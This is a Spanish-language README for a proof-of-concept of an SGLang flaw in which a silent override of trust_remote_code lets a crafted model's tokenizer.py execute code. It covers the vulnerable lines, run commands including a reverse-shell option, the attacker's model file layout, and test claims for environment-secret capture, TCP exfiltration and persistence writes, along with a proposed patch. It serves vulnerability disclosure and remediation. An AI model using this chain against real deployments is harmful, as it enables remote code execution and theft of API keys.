
PoC para CVE-2026-7669: SGLang anulación silenciosa de trust_remote_code -> RCE
SGLang sobrescribe silenciosamente trust_remote_code=False a True y vuelve a invocar
AutoTokenizer.from_pretrained cada vez que transformers v5 devuelve un
objeto TokenizersBackend. Un modelo con un tokenizer_class personalizado y un
auto_map que apunte a tokenizer.py alcanza la ejecución arbitraria de código
dentro del proceso de SGLang incluso cuando el operador pasó False. No se emite
ninguna línea de registro en ningún nivel.
main actual (commit fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Altaif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Introducido en el PR #17784
(commit d1e95af28, 2026-03-18). El aviso original de logger.info(...)
fue eliminado por el commit 27ac831a8 (2026-03-23) bajo un título de "docs: improve CI
and testing documentation", dejando la sobrescritura completamente silenciosa en
todas las versiones vulnerables publicadas.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Construye una imagen Docker (python:3.12.7-slim-bookworm + transformers==5.3.0
Otros modos:
./run.sh --server reproducir vía TokenizerManager.__init__
./run.sh --versions matriz de transformers 5.0..5.5
./run.sh --revshell IP reverse shell opcional a IP:4444
./run.sh --rebuild forzar reconstrucción --no-cache
./run.sh --copy-ledger ./ledger.json
El código de salida 0 significa confirmado. Resumen final:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
Códigos de salida:
| Código | Significado |
|---|---|
| 0 | Confirmado |
| 1 | No activado |
| 2 | Falso positivo (transformers en sí ejecutó tokenizer.py, el bug es upstream) |
| 3 | La verificación previa de versión fijada falló |
La fase de verificación previa lee pinned_versions.json y verifica cada valor
contra el entorno de ejecución. La deriva sale con código 3 antes de que se ejecute cualquier prueba.
| Componente | Fijación |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Commit de SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 de hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| Bloque vulnerable (líneas 898-909) SHA256 | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Métrica | Valor | Respaldado por |
|---|---|---|
| AV | N | Los archivos de activación (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) son el diseño estándar de auto_map del HF Hub. Cualquier registro que los sirva alcanza el bug. |
| AC | L | PHASE-2 se activa de forma determinista en una sola ejecución. Cada condición de activación es contenido creado por el atacante. PRE-1..7 confirman que no hay fingerprinting del entorno. |
| PR | N | Una subida gratuita al HF Hub es suficiente. Nada en la cadena de activación requiere privilegios preexistentes sobre la víctima. |
| UI | R | La activación ocurre solo cuando un operador (o un pipeline configurado por el operador) invoca launch_server --model-path attacker/model. |
| S | U | Todas las afirmaciones SEV-* se ejecutan dentro de la autoridad del proceso de SGLang. Sin escape de sandbox ni de contenedor. |
| C | H | SEV-secrets captura HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY del entorno del proceso. SEV-network abre un canal de exfiltración TCP saliente. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip son cuatro primitivas de integridad independientes en diferentes ubicaciones sensibles. |
| A | H | Inferido de RCE. SEV-pip demuestra ejecución arbitraria de subprocesos, que es la misma primitiva necesaria para un auto-DoS. El PoC no demuestra directamente un auto-kill. |
8.8 es el mínimo conservador. 9.6 (con S:C) y 10.0 (tanto S:C como
UI:N) son defendibles pero dependen del revisor.
UI:N no está justificado para este CVE. El servidor HTTP de SGLang tiene un
bypass genuino de no-autenticación por defecto cuando api_key=None y admin_api_key=None
(verificado por AUTH-1 contra la primitiva decide_request_auth en
tiempo de ejecución), pero ningún endpoint HTTP alcanza get_tokenizer después del arranque
(verificado por CHAIN-1). Los cuatro puntos de llamada de get_tokenizer
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) se activan una vez al iniciar el servidor desde el
--model-path proporcionado por el operador. El bypass de autenticación es, por tanto, un problema
separado y no un socio de cadena para CVE-2026-7669.
El PoC escribe un registro JSON en /tmp/poc_claim_ledger.json con 29
afirmaciones individualmente comprobables. Usa ./run.sh --copy-ledger ./ledger.json
para extraerlo.
| Grupo | Afirmaciones |
|---|---|
PRE-1..7 | Versiones fijadas (Python, transformers, SHA256 de archivos, recuento de líneas, SHA256 del bloque de sobrescritura, trust_remote_code por defecto, ruta de origen) |
SRC-1 | El código fuente importado de get_tokenizer contiene la sobrescritura |
PHASE-1 | transformers respeta trust_remote_code=False directamente |
PHASE-1b, PHASE-1b-mech | SGLang sin las líneas 898-909 respeta False y hace exactamente una llamada a from_pretrained |
PHASE-2, PHASE-2-mech, PHASE-2-silent | SGLang real ejecuta tokenizer.py. El trace muestra la llamada 0 (False)->TokenizersBackend, la llamada 1 (True)->MaliciousTokenizer. Ninguna línea de registro menciona trust_remote_code (captura DEBUG en el logger raíz y sglang). |
PHASE-2b | Parcheado + True explícito aún carga (el parche es quirúrgico) |
PHASE-3-rce, PHASE-3-via-override | El modo de tokenizer lento también alcanza RCE a través de la misma ruta 898-909 |
SEV-write-sglang, SEV-write-launchsrv, SEV-write-model | Primitivas de persistencia y propagación lateral |
SEV-network | Canal de exfiltración TCP saliente |
SEV-secrets | Captura de secretos de variables de entorno |
SEV-pip | Instalación arbitraria de pip (cadena de suministro) |
SEV-root | Proceso ejecutándose como root en la imagen lmsysorg |
AUTH-1 | Los ServerArgs por defecto (, ) dejan todos los endpoints alcanzables sin autenticación |
Archivos del modelo de activación (todos controlados por el atacante, todos permitidos por HF Hub):
attacker/model/
config.json model_type "gpt2" (en TOKENIZER_MAPPING_NAMES de transformers)
tokenizer_config.json tokenizer_class personalizado + auto_map -> tokenizer.py
tokenizer.json tokenizer BPE válido (para que la primera carga tenga éxito)
tokenizer.py payload
model.safetensors pesos ficticios
Flujo de ejecución dentro de get_tokenizer(MODEL_DIR, trust_remote_code=False):
AutoTokenizer.from_pretrained(..., trust_remote_code=False).tokenizer_class personalizado que no está en su
registro, recurre a un TokenizersBackend genérico construido desde
tokenizer.json. tokenizer.py no se ejecuta en este punto.type(tokenizer).__name__ == "TokenizersBackend"
y reintentan silenciosamente con trust_remote_code=True.tokenizer.py.
Las declaraciones de nivel superior se ejecutan dentro del proceso de SGLang.El PHASE-2-mech del PoC captura el trace literalmente:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
Elimina las líneas 898-909. TokenizersBackend es un tokenizer utilizable para muchas
cargas de trabajo y devolverlo tal cual es un valor por defecto seguro. Si un modelo realmente
necesita código de tokenizer personalizado, el operador debe pasar --trust-remote-code
explícitamente.
Alternativamente, registra una advertencia fuerte y devuelve TokenizersBackend sin
volver a invocar from_pretrained:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2b verifica que el parche mínimo es quirúrgico: el
trust_remote_code=True explícito aún carga el modelo.
trust_remote_code de HuggingFace: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedEste PoC es para investigación de seguridad defensiva y remediación. El
tokenizer.py malicioso escribe solo en /tmp/sglang_poc_proof.txt
dentro del contenedor por defecto. No lo ejecutes contra sistemas que no
poseas o para los que no tengas autorización de prueba.
api_key=Noneadmin_api_key=NoneADMIN_OPTIONALAUTH-2, AUTH-3 | Controles positivos que confirman que el middleware bloquea sin autenticación y acepta bearer válido cuando está configurado |
CHAIN-1 | Ningún manejador de endpoint HTTP invoca get_tokenizer() después del arranque (cero puntos de llamada en http_server.py) |
CHAIN-2 | Veredicto explícito: UI:N NO está justificado para este CVE. El bypass de no-autenticación por defecto es real pero no puede alcanzar la sobrescritura de trust_remote_code, porque los cuatro llamadores de get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) son rutas __init__ que se activan una vez al iniciar el servidor. El operador aún elige la ruta del modelo en el momento de launch_server, por lo que UI:R se mantiene. |